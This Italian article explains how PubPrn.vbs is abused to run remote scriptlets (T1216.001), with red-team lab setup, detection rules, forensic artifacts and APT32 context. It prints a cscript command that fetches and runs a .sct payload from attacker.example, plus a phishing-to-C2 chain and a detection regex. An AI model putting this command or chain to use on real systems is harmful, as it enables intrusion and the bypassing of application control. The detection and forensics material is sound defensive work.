Abuso di PubPrn: System Script Proxy Execution via PubPrn (T1216.001)

In un red team engagement, l'abuso di PubPrn.vbs rientra nella famiglia dei LOLBAS (Living Off the Land Binaries and Scripts) ed è utile per validare la profondità delle policy di application control e la copertura EDR sui signed script host.

Il comando canonico, sulla versione vulnerabile dello script (pre-aggiornamento Windows 10), è nella forma:

cscript.exe //nologo C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:https://attacker.example/payload.sct

Il primo argomento (server della stampante) è arbitrario perché l'esecuzione del moniker script: avviene prima della logica di pubblicazione. Il file .sct è un XML che incapsula codice VBScript o JScript nel tag <scriptlet> con <registration> e blocco <script language="JScript">; al suo interno si può istanziare WScript.Shell o ActiveXObject per lanciare comandi, avviare shellcode o caricare .NET assembly via DotNetToJScript.

Per replicare la tecnica in laboratorio conviene predisporre l'ambiente così:

• Una VM Windows 7 o 8.1, oppure una copia della versione originale di pubprn.vbs estratta da un'immagine legacy, poiché su Windows 10 aggiornato lo script accetta solo LDAP://.
• Un web server HTTPS con certificato valido, ad esempio Caddy (open source) o nginx (open source), che serve il file .sct.
• Un generatore di scriptlet come GreatSCT (open source, mantenuto su GitHub) o Nps_Payload (open source), utili per produrre payload compatibili con Cobalt Strike, Metasploit o Sliver.

La catena tipica in un'operazione simulata è: consegna via phishing di un .lnk o .hta che invoca cscript pubprn.vbs con moniker remoto, download del .sct, esecuzione in-memory di un loader che scarica il beacon C2. Per test più realistici si può usare Sliver (open source) o Mythic (open source) come framework C2, evitando strumenti commerciali quando non disponibili.

È importante notare che l'esecuzione avviene nel contesto di cscript.exe, non di pubprn.vbs: le regole di rilevamento devono guardare al command line completo e alla relazione parent-child, non al solo nome del binario. In assessment maturi, questa tecnica viene combinata con T1218 (altri signed binary proxy) per valutare la coerenza delle policy AppLocker o WDAC.

La detection di T1216.001 si fonda su tre pilastri: telemetria di processo con command line completo, correlazione con connessioni di rete uscenti e conoscenza dei signed script host legittimi. La detection MITRE DET0528 è esplicita nel richiedere Sysmon (open source, Microsoft) EventID 1 per la creazione di processo e EventID 3 per le connessioni di rete, integrati con i log PowerShell dove pertinente.

La regola cardine intercetta l'invocazione di pubprn.vbs con un argomento contenente il moniker script: seguito da uno schema http o https. Una espressione regolare efficace, applicata al campo CommandLine di cscript.exe o wscript.exe, è del tipo: *pubprn(.vbs)?.script:https?://. Va abbinata a un match sul parent process, che può essere cmd.exe, explorer.exe, winword.exe, outlook.exe o processi Office in generale, quest'ultimo caso altamente sospetto perché suggerisce macro o exploit di documenti.

La correlazione temporale è cruciale. Impostare una finestra di 60-120 secondi tra l'evento di process creation e la successiva connessione uscente di cscript.exe verso un dominio esterno riduce drasticamente i falsi positivi. L'arricchimento con threat intelligence sul dominio contattato (reputation, categoria, età di registrazione da servizi come VirusTotal in tier freemium o urlscan.io freemium) fornisce un ulteriore livello di priorità.

Dal punto di vista D3FEND, gli artefatti coinvolti sono Process, File e Network Traffic. Le tecniche difensive di detect applicabili includono Script Execution Analysis e Outbound Traffic Analysis, mentre sul fronte harden è raccomandato Executable Allowlisting tramite WDAC o AppLocker che blocchi le versioni obsolete di PubPrn.vbs per hash, come indicato dalla mitigazione M1040.

Sorgenti di log da abilitare:

• Sysmon con configurazione derivata da SwiftOnSecurity/sysmon-config (open source) o Olaf Hartong/sysmon-modular (open source), specificando include rule per cscript.exe e wscript.exe.
• Windows Security Event 4688 con command line auditing abilitato via policy (Include command line in process creation events).
• PowerShell Script Block Logging (EventID 4104) per catturare eventuale post-exploitation.

Falsi positivi legittimi sono rari perché la pubblicazione di stampanti tramite script è oggi delegata a strumenti grafici. Se emerge attività legittima, è tipicamente circoscritta a print server o task schedulati di amministratori: whitelist su nome host e utente sono sufficienti. Un alert su pubprn.vbs con moniker script: deve essere considerato high fidelity e triagliato in priorità.

L'indagine forense su un incidente che coinvolge PubPrn.vbs parte dalla ricostruzione della catena di esecuzione centrata su cscript.exe. Gli artefatti Windows chiave sono distribuiti tra registro, filesystem e log eventi.

Sul filesystem, la presenza dello script originale in C:\Windows\System32\Printing_Admin_Scripts<locale>\pubprn.vbs è normale; ciò che va verificato è la sua versione tramite hash SHA-256 confrontato con le release Microsoft note, per identificare eventuali copie legacy portate dall'attaccante in path anomali come %TEMP%, %APPDATA% o directory utente. La presenza di file .sct scaricati va cercata nelle cache del client HTTP di sistema e in C:\Users<user>\AppData\Local\Microsoft\Windows\INetCache.

Gli Prefetch file in C:\Windows\Prefetch\CSCRIPT.EXE-.pf* forniscono timestamp di prima e ultima esecuzione, contatore di run e file mappati dal processo, spesso includendo il path di pubprn.vbs. Il parsing con PECmd di Eric Zimmerman (open source) restituisce dati strutturati facilmente correlabili in timeline.

Dal registro, la chiave HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist può contenere tracce di esecuzione se lanciata da shell utente, mentre AmCache.hve (C:\Windows\AppCompat\Programs\Amcache.hve) registra hash e path di cscript.exe con timestamp di esecuzione. Il parser AmcacheParser (open source) di Eric Zimmerman è lo strumento di riferimento.

I log di Windows più rilevanti sono:

• Security.evtx con EventID 4688 (process creation) filtrato su cscript.exe con command line contenente pubprn.
• Microsoft-Windows-Sysmon/Operational EventID 1 per creazione processo e EventID 3 per connessioni di rete verso il dominio che serviva il .sct.
• Microsoft-Windows-PowerShell/Operational EventID 4104 se il payload scriptlet ha invocato PowerShell.

Sul fronte network, i log del proxy aziendale o del firewall next-gen possono confermare la richiesta HTTPS con user agent tipico di WScript (spesso Microsoft (R) Windows Script Host), pattern raro nel traffico legittimo enterprise. La correlazione con passive DNS e servizi come crt.sh (gratuito) per Certificate Transparency permette di ricostruire l'infrastruttura dell'attaccante e identificare domini fratelli usati nella stessa campagna.

Gli artefatti D3FEND rilevanti per la timeline sono Process Tree, File Creation Event, Network Session e DNS Lookup. Un'analisi completa costruisce la sequenza: process creation di cscript.exe, connessione uscente, download del .sct, esecuzione, eventuali processi figli spawnati dal payload e persistenza successiva. Tool come Plaso/log2timeline (open source) e Timeline Explorer (open source) sono adatti a integrare le fonti eterogenee in un'unica narrativa forense.

Nel framework MITRE ATT&CK, l'uso documentato di T1216.001 è associato a un unico gruppo: APT32, tracciato anche come OceanLotus, SeaLotus o Cobalt Kitty. Il gruppo, attivo da almeno il 2014, è associato a interessi allineati con lo stato del Vietnam e ha storicamente colpito settori come dissidenti politici, giornalisti, aziende del settore automotive con presenza nel sud-est asiatico, ospitalità e società di consulenza con esposizione geopolitica nell'area indocinese.

L'utilizzo di PubPrn.vbs da parte di APT32 rientra in una postura operativa più ampia che privilegia Living off the Land: il gruppo ha fatto ampio ricorso a signed binary e script proxy, PowerShell offuscato, Cobalt Strike custom e loader scritti su misura. L'inserimento di PubPrn negli script di esecuzione è coerente con la loro predilezione per catene di infezione multi-stadio che minimizzano la superficie di detection nei primi stadi, delegando la logica pesante a componenti scaricati in-memory.

APT32 ha mostrato particolare cura nell'engineering delle esche, con documenti in vietnamita, inglese e altre lingue regionali, tipicamente distribuiti via spearphishing con allegati Office contenenti macro o file .lnk. La fase di Defense Evasion è centrale: l'abuso di script Microsoft firmati come PubPrn consente di bypassare application control basati su firma e di ridurre gli alert su sistemi endpoint che valutano solo la reputazione del binario invocante.

La scarsità di altri gruppi documentati con questa specifica tecnica nel framework non implica assenza d'uso: PubPrn è parte del catalogo LOLBAS pubblico e potenzialmente accessibile a qualsiasi attore, ma la sua obsolescenza sui sistemi Windows 10 aggiornati ne ha ridotto l'utilità nel tempo. Un trend osservabile a livello di threat landscape è la migrazione degli attori sofisticati verso altri signed script host meno noti o verso tecniche di Trusted Developer Utilities Proxy Execution (T1127) come MSBuild e CL_Invocation.vbs, che offrono superficie di abuso analoga senza le restrizioni introdotte da Microsoft su PubPrn.

Per un programma di threat intelligence, il monitoraggio di riferimenti a PubPrn in report di vendor come Mandiant, ESET, Kaspersky e nei feed OTX è utile per tracciare eventuali riemersioni della tecnica in campagne opportunistiche o in ambienti legacy. La sovrapposizione tool tipica di APT32 include famiglie custom come Ratsnif, Denis, SOUNDBITE e loader per Cobalt Strike, spesso combinati in kill chain che integrano PubPrn come uno dei vettori di proxy execution disponibili.

MITRE ATT&CK T1216.001 (System Script Proxy Execution: PubPrn), tattica TA0005, gruppo G0050 (APT32), mitigazioni M1038 e M1040, detection DET0528 con analytic AN1464. Riferimenti MITRE D3FEND per Script Execution Analysis e Executable Allowlisting. Progetto LOLBAS per catalogazione dei signed script host abusabili. Alcune informazioni operative su tool di detection, parser forensi (Eric Zimmerman Tools, Plaso) e framework C2 derivano da conoscenza professionale di cybersecurity.